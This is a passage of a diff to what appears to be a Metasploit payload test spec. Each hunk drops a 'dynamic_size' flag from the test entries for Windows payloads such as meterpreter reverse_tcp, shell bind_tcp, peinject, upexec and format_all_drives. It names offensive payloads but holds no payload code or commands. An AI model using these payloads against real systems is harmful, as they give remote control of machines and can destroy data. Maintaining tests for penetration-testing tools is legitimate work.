                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_tcp_rc4'
   end
@@ -3752,7 +3439,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/find_tag'
   end
@@ -3764,7 +3450,6 @@
                               'stagers/windows/reverse_http',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_http'
   end
@@ -3775,7 +3460,6 @@
                             'stagers/windows/reverse_http_proxy_pstore',
                             'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_http_proxy_pstore'
   end
@@ -3786,7 +3470,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_ipv6_tcp'
   end
@@ -3797,7 +3480,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_nonx_tcp'
   end
@@ -3808,7 +3490,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_ord_tcp'
   end
@@ -3819,7 +3500,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_tcp'
   end
@@ -3830,7 +3510,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_tcp_allports'
   end
@@ -3841,7 +3520,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_tcp_dns'
   end
@@ -3852,7 +3530,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_tcp_rc4'
   end
@@ -3863,7 +3540,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/reverse_tcp_rc4_dns'
   end
@@ -3873,7 +3549,6 @@
                           ancestor_reference_names: [
                               'singles/windows/dns_txt_query_exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dns_txt_query_exec'
   end
@@ -3883,7 +3558,6 @@
                           ancestor_reference_names: [
                               'singles/windows/download_exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/download_exec'
   end
@@ -3910,7 +3584,6 @@
                           ancestor_reference_names: [
                               'singles/windows/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/exec'
   end
@@ -3920,7 +3593,6 @@
                           ancestor_reference_names: [
                               'singles/windows/format_all_drives'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/format_all_drives'
   end
@@ -3930,7 +3602,6 @@
                           ancestor_reference_names: [
                               'singles/windows/loadlibrary'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/loadlibrary'
   end
@@ -3940,7 +3611,6 @@
                           ancestor_reference_names: [
                               'singles/windows/messagebox'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/messagebox'
   end
@@ -3950,7 +3620,6 @@
                           ancestor_reference_names: [
                               'singles/windows/meterpreter_bind_named_pipe'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_bind_named_pipe'
   end
@@ -3960,7 +3629,6 @@
                           ancestor_reference_names: [
                             'singles/windows/meterpreter_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_bind_tcp'
   end
@@ -3970,7 +3638,6 @@
                           ancestor_reference_names: [
                             'singles/windows/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_reverse_http'
   end
@@ -3980,7 +3647,6 @@
                           ancestor_reference_names: [
                             'singles/windows/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_reverse_https'
   end
@@ -3990,7 +3656,6 @@
                           ancestor_reference_names: [
                             'singles/windows/meterpreter_reverse_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_reverse_ipv6_tcp'
   end
@@ -4000,7 +3665,6 @@
                           ancestor_reference_names: [
                             'singles/windows/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter_reverse_tcp'
   end
@@ -4011,7 +3675,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_ipv6_tcp'
   end
@@ -4022,7 +3685,6 @@
                               'stagers/windows/bind_ipv6_tcp_uuid',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_ipv6_tcp_uuid'
   end
@@ -4033,7 +3695,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_named_pipe'
   end
@@ -4044,7 +3705,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_nonx_tcp'
   end
@@ -4055,7 +3715,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_tcp'
   end
@@ -4066,7 +3725,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_tcp_rc4'
   end
@@ -4077,7 +3735,6 @@
                               'stagers/windows/bind_tcp_uuid',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_tcp_uuid'
   end
@@ -4088,7 +3745,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/find_tag'
   end
@@ -4099,7 +3755,6 @@
                               'stagers/windows/reverse_http',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_http'
   end
@@ -4110,7 +3765,6 @@
                             'stagers/windows/reverse_http_proxy_pstore',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_http_proxy_pstore'
   end
@@ -4121,7 +3775,6 @@
                               'stagers/windows/reverse_https',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_https'
   end
@@ -4132,7 +3785,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_ipv6_tcp'
   end
@@ -4143,7 +3795,6 @@
                               'stagers/windows/reverse_named_pipe',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_named_pipe'
   end
@@ -4154,7 +3805,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_nonx_tcp'
   end
@@ -4165,7 +3815,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_ord_tcp'
   end
@@ -4176,7 +3825,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp'
   end
@@ -4187,7 +3835,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp_allports'
   end
@@ -4198,7 +3845,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp_dns'
   end
@@ -4209,7 +3855,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp_rc4'
   end
@@ -4220,7 +3865,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp_rc4_dns'
   end
@@ -4231,7 +3875,6 @@
                               'stagers/windows/reverse_tcp_uuid',
                               'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_tcp_uuid'
   end
@@ -4241,7 +3884,6 @@
                           ancestor_reference_names: [
                               'singles/windows/metsvc_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/metsvc_bind_tcp'
   end
@@ -4251,7 +3893,6 @@
                           ancestor_reference_names: [
                               'singles/windows/metsvc_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/metsvc_reverse_tcp'
   end
@@ -4262,7 +3903,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_ipv6_tcp'
   end
@@ -4273,7 +3913,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_named_pipe'
   end
@@ -4284,7 +3923,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_nonx_tcp'
   end
@@ -4295,7 +3933,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_tcp'
   end
@@ -4306,7 +3943,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_tcp_rc4'
   end
@@ -4317,7 +3953,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/find_tag'
   end
@@ -4328,7 +3963,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_ipv6_tcp'
   end
@@ -4339,7 +3973,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_nonx_tcp'
   end
@@ -4350,7 +3983,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_ord_tcp'
   end
@@ -4361,7 +3993,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_tcp'
   end
@@ -4372,7 +4003,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_tcp_allports'
   end
@@ -4383,7 +4013,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_tcp_dns'
   end
@@ -4394,7 +4023,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_tcp_rc4'
   end
@@ -4405,7 +4033,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns'
   end
@@ -4416,7 +4043,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_ipv6_tcp'
   end
@@ -4427,7 +4053,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_named_pipe'
   end
@@ -4438,7 +4063,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_nonx_tcp'
   end
@@ -4449,7 +4073,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_tcp'
   end
@@ -4460,7 +4083,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_tcp_rc4'
   end
@@ -4471,7 +4093,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/find_tag'
   end
@@ -4482,7 +4103,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_ipv6_tcp'
   end
@@ -4493,7 +4113,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_nonx_tcp'
   end
@@ -4504,7 +4123,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_ord_tcp'
   end
@@ -4515,7 +4133,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_tcp'
   end
@@ -4526,7 +4143,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_tcp_allports'
   end
@@ -4537,7 +4153,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_tcp_dns'
   end
@@ -4548,7 +4163,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4'
   end
@@ -4559,7 +4173,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns'
   end
@@ -4570,7 +4183,6 @@
                               'stagers/windows/bind_hidden_ipknock_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_hidden_ipknock_tcp'
   end
@@ -4581,7 +4193,6 @@
                               'stagers/windows/bind_hidden_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_hidden_tcp'
   end
@@ -4592,7 +4203,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_ipv6_tcp'
   end
@@ -4603,7 +4213,6 @@
                               'stagers/windows/bind_ipv6_tcp_uuid',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_ipv6_tcp_uuid'
   end
@@ -4614,7 +4223,6 @@
                               'stagers/windows/bind_named_pipe',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_named_pipe'
   end
@@ -4625,7 +4233,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_nonx_tcp'
   end
@@ -4636,7 +4243,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_tcp'
   end
@@ -4647,7 +4253,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_tcp_rc4'
   end
@@ -4658,7 +4263,6 @@
                               'stagers/windows/bind_tcp_uuid',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/bind_tcp_uuid'
   end
@@ -4669,7 +4273,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/find_tag'
   end
@@ -4680,7 +4283,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_ipv6_tcp'
   end
@@ -4691,7 +4293,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_nonx_tcp'
   end
@@ -4702,7 +4303,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_ord_tcp'
   end
@@ -4713,7 +4313,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp'
   end
@@ -4724,7 +4323,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp_allports'
   end
@@ -4735,7 +4333,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp_dns'
   end
@@ -4746,7 +4343,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp_rc4'
   end
@@ -4757,7 +4353,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp_rc4_dns'
   end
@@ -4768,7 +4363,6 @@
                               'stagers/windows/reverse_tcp_uuid',
                               'stages/windows/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/peinject/reverse_tcp_uuid'
   end
@@ -4778,7 +4372,6 @@
                           ancestor_reference_names: [
                               'singles/windows/pingback_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/pingback_bind_tcp'
   end
@@ -4788,7 +4381,6 @@
                           ancestor_reference_names: [
                               'singles/windows/pingback_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/pingback_reverse_tcp'
   end
@@ -4799,7 +4391,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_ipv6_tcp'
   end
@@ -4810,7 +4401,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_named_pipe'
   end
@@ -4821,7 +4411,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_nonx_tcp'
   end
@@ -4832,7 +4421,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_tcp'
   end
@@ -4843,7 +4431,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_tcp_rc4'
   end
@@ -4854,7 +4441,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/find_tag'
   end
@@ -4865,7 +4451,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_ipv6_tcp'
   end
@@ -4876,7 +4461,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_nonx_tcp'
   end
@@ -4887,7 +4471,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_ord_tcp'
   end
@@ -4898,7 +4481,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_tcp'
   end
@@ -4909,7 +4491,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_tcp_allports'
   end
@@ -4920,7 +4501,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_tcp_dns'
   end
@@ -4931,7 +4511,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_tcp_rc4'
   end
@@ -4942,7 +4521,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_tcp_rc4_dns'
   end
@@ -4953,7 +4531,6 @@
                               'stagers/windows/reverse_udp',
                               'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/reverse_udp'
   end
@@ -4963,7 +4540,6 @@
                           ancestor_reference_names: [
                               'singles/windows/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell_bind_tcp'
   end
@@ -4973,7 +4549,6 @@
                           ancestor_reference_names: [
                               'singles/windows/shell_bind_tcp_xpfw'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell_bind_tcp_xpfw'
   end
@@ -4983,7 +4558,6 @@
                           ancestor_reference_names: [
                               'singles/windows/shell_hidden_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell_hidden_bind_tcp'
   end
@@ -4993,7 +4567,6 @@
                           ancestor_reference_names: [
                               'singles/windows/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell_reverse_tcp'
   end
@@ -5003,7 +4576,6 @@
                           ancestor_reference_names: [
                               'singles/windows/speak_pwned'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/speak_pwned'
   end
@@ -5014,7 +4586,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_ipv6_tcp'
   end
@@ -5025,7 +4596,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_named_pipe'
   end
@@ -5036,7 +4606,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_nonx_tcp'
   end
@@ -5047,7 +4616,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_tcp'
   end
@@ -5058,7 +4626,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_tcp_rc4'
   end
@@ -5069,7 +4636,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/find_tag'
   end
@@ -5080,7 +4646,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_ipv6_tcp'
   end
@@ -5091,7 +4656,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/upexec'
                           ],
